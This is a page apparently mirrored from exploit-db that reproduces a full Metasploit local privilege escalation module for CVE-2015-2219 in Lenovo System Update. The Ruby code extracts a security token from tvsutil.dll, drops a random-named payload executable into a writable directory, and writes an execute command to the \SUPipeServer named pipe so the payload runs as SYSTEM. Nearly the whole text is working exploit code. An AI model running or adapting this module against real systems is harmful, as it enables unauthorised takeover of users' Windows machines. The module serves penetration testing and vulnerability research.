Lenovo System Update – Local Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2015-04-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41708/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    include Msf::Exploit::EXE
    include Msf::Post::File
    include Msf::Exploit::FileDropper
    include Msf::Post::Windows::Priv
    include Msf::Post::Windows::Services
    
    Rank = ExcellentRanking
    
    def initialize(info={})
    super(update_info(info, {
    'Name'=> 'Lenovo System Update Privilege Escalation',
    'Description' => %q{
    The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
    System update service. The service provides the possibility to execute arbitrary
    commands as SYSTEM if a valid security token is provided. This token can be generated
    by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
    System Update is stopped by default but can be started/stopped calling the Executable
    ConfigService.exe.
    },
    'License' => MSF_LICENSE,
    'Author'=>
    [
    'Michael Milvich', # vulnerability discovery, advisory
    'Sofiane Talmat',# vulnerability discovery, advisory
    'h0ng10' # Metasploit module
    ],
    'Arch'=> ARCH_X86,
    'Platform'=> 'win',
    'SessionTypes'=> ['meterpreter'],
    'DefaultOptions'=>
    {
    'EXITFUNC'=> 'thread',
    },
    'Targets' =>
    [
    [ 'Windows', { } ]
    ],
    'Payload' =>
    {
    'Space' => 2048,
    'DisableNops' => true
    },
    'References'=>
    [
    ['OSVDB', '121522'],
    ['CVE', '2015-2219'],
    ['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
    ],
    'DisclosureDate' => 'Apr 12 2015',
    'DefaultTarget'=> 0
    }))
    
    register_options([
    OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
    OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
    ], self.class)
    
    end
    
    def check
    os = sysinfo['OS']
    
    unless os =~ /windows/i
    return Exploit::CheckCode::Safe
    end
    
    svc = service_info('SUService')
    if svc && svc[:display] =~ /System Update/
    vprint_good("Found service '#{svc[:display]}'")
    return Exploit::CheckCode::Detected
    else
    return Exploit::CheckCode::Safe
    end
    end
    
    
    def write_named_pipe(pipe, command)
    invalid_handle_value = 0xFFFFFFFF
    
    r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
    handle = r['return']
    
    if handle == invalid_handle_value
    fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
    else
    vprint_good("Opended #{pipe}! Proceeding...")
    end
    
    begin
    
    # First, write the string length as Int32 value
    w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
    
    if w['return'] == false
    print_error('The was an error writing to pipe, check permissions')
    return false
    end
    
    # Then we send the real command
    w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
    
    if w['return'] == false
    print_error('The was an error writing to pipe, check permissions')
    return false
    end
    ensure
    session.railgun.kernel32.CloseHandle(handle)
    end
    true
    end
    
    
    def get_security_token(lenovo_directory)
    unless client.railgun.get_dll('tvsutil')
    client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
    client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], nil, 'cdecl')
    end
    
    dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
    
    dll_response['systeminfo'][0,40]
    end
    
    
    def config_service(lenovo_directory, option)
    cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
    end
    
    
    def exploit
    if is_system?
    fail_with(Failure::NoTarget, 'Session is already elevated')
    end
    
    su_directory = service_info('SUService')[:path][1..-16]
    print_status('Starting service via ConfigService.exe')
    config_service(su_directory, 'start')
    
    print_status('Giving the service some time to start...')
    Rex.sleep(datastore['Sleep'])
    
    print_status("Getting security token...")
    token = get_security_token(su_directory)
    vprint_good("Security token is: #{token}")
    
    if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
    temp_dir = get_env('TEMP')
    else
    temp_dir = datastore['WritableDir']
    end
    
    print_status("Using #{temp_dir} to drop the payload")
    
    begin
    cd(temp_dir)
    rescue Rex::Post::Meterpreter::RequestError
    fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
    end
    
    print_status('Writing malicious exe to remote filesystem')
    write_path = pwd
    exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
    
    begin
    write_file(exe_name, generate_payload_exe)
    register_file_for_cleanup("#{write_path}\\#{exe_name}")
    rescue Rex::Post::Meterpreter::RequestError
    fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
    end
    
    print_status('Sending Execute command to update service')
    
    begin
    write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
    rescue Rex::Post::Meterpreter::RequestError
    fail_with(Failure::Unknown, 'Failed to write to pipe')
    end
    
    unless write_res
    fail_with(Failure::Unknown, 'Failed to write to pipe')
    end
    
    print_status('Stopping service via ConfigService.exe')
    config_service(su_directory, 'stop')
    end
    
    end